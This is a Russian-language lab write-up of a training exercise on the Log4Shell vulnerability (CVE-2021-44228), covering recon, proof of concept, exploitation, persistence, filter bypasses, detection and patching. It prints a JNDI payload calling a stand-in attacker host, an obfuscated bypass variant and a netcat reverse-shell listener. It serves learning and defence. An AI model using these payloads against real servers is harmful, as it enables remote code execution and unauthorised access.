
Этот раздел основан на эксплуатации печально известной уязвимости Log4j (CVE-2021-44228), также известной как Log4Shell. Данная уязвимость позволяет злоумышленникам выполнять удалённый код путём внедрения вредоносных нагрузок в журналы сообщений.
Эта комната основана на эксплуатации печально известной уязвимости Log4j (CVE-2021-44228), также известной как Log4Shell. Уязвимость позволяет злоумышленникам выполнять удаленный код через внедрение вредоносных нагрузок в сообщения журнала.
ЗАДАЧА 1 – ВВЕДЕНИЕ В CVE-2021-44228
В этой задаче я узнал об уязвимости Log4Shell (CVE-2021-44228) в Apache Log4j. • Log4j — широко используемая библиотека ведения журналов на Java. • Уязвимость позволяет удаленно выполнять код (RCE) через JNDI-запросы. • Злоумышленники могут внедрять такие нагрузки: ${jndi:ldap://attacker.com/a} • При регистрации в журнале сервер связывается с сервером злоумышленника и выполняет вредоносный код. 👉 Это показало, насколько опасно регистрировать пользовательский ввод без очистки.
ЗАДАЧА 2 – РАЗВЕДКА
Здесь я начал взаимодействие с целевой системой. • Зашел в веб-приложение. • Идентифицировал поля ввода и заголовки, которые могут регистрироваться в журнале. • Наблюдал, как приложение обрабатывает пользовательский ввод. 👉 Цель: найти, где используется Log4j и куда можно внедрить нагрузки.
ЗАДАЧА 3 – ОБНАРУЖЕНИЕ
На этом этапе я подтвердил наличие уязвимости. • Протестировал внедрение нагрузки в заголовки, такие как: • User-Agent • X-Forwarded-For • Проверил исходящие соединения или ответы. 👉 Это помогло убедиться, что приложение уязвимо для Log4Shell.
ЗАДАЧА 4 – ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ
Я создал рабочее PoC для демонстрации уязвимости. • Настроил слушатель/сервер для обнаружения обратных вызовов. • Внедрил JNDI-нагрузку. • Наблюдал, что цель отправляет запрос на мой сервер. 👉 Это подтвердило удаленное взаимодействие → уязвимость эксплуатируема.
ЗАДАЧА 5 – ЭКСПЛУАТАЦИЯ
Здесь я перешел от PoC к полной эксплуатации. • Разместил вредоносную нагрузку (Java-класс или скрипт). • Использовал JNDI-инъекцию, чтобы заставить сервер загрузить её. • Получил обратную оболочку. Пример: nc -lvnp 4444 👉 Успешно выполнил удаленный код.
ЗАДАЧА 6 – ЗАКРЕПЛЕНИЕ
После получения доступа я обеспечил его сохранение. • Создал бэкдоры или добавил SSH-ключи. • При необходимости изменил системные конфигурации. 👉 Это гарантирует доступ даже после перезагрузки или потери сессии.
ЗАДАЧА 7 – ОБНАРУЖЕНИЕ
Эта задача была посвящена выявлению атак. • Узнал, как эксплойты Log4j выглядят в журналах. • Индикаторы: • Шаблоны ${jndi:ldap://...} • Подозрительный исходящий LDAP/DNS-трафик 👉 Важно для синих команд для обнаружения попыток эксплуатации.
ЗАДАЧА 8 – ОБХОДЫ
Здесь я изучил, как злоумышленники обходят фильтры. • Методы обфускации: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Кодирование нагрузок для уклонения от обнаружения. 👉 Показывает, что простой фильтрации недостаточно.
ЗАДАЧА 9 – СМЯГЧЕНИЕ
Узнал, как снизить риск без полного исправления. • Отключение JNDI-запросов • Ограничение исходящих сетевых соединений • Использование правил WAF 👉 Временные меры защиты до надлежащего исправления.
ЗАДАЧА 10 – УСТАНОВКА ИСПРАВЛЕНИЙ
Сосредоточился на постоянных исправлениях. • Обновление Log4j до: • 2.17.0 или новее • Удаление уязвимых классов: JndiLookup.class 👉 Правильное исправление полностью устраняет уязвимость.
ЗАДАЧА 11 – БЛАГОДАРНОСТИ И ЗАМЕТКИ АВТОРА
• Благодарность создателям комнаты. • Краткое изложение целей обучения. • Итоговое понимание влияния Log4Shell.
ЗАКЛЮЧИТЕЛЬНЫЕ МЫСЛИ
Эта комната дала мне полное понимание: • Как работает критическая уязвимость реального мира • Как злоумышленники эксплуатируют её шаг за шагом • Как защитники обнаруживают и предотвращают её 👉 Это был отличный практический опыт с одной из самых влиятельных уязвимостей в истории кибербезопасности.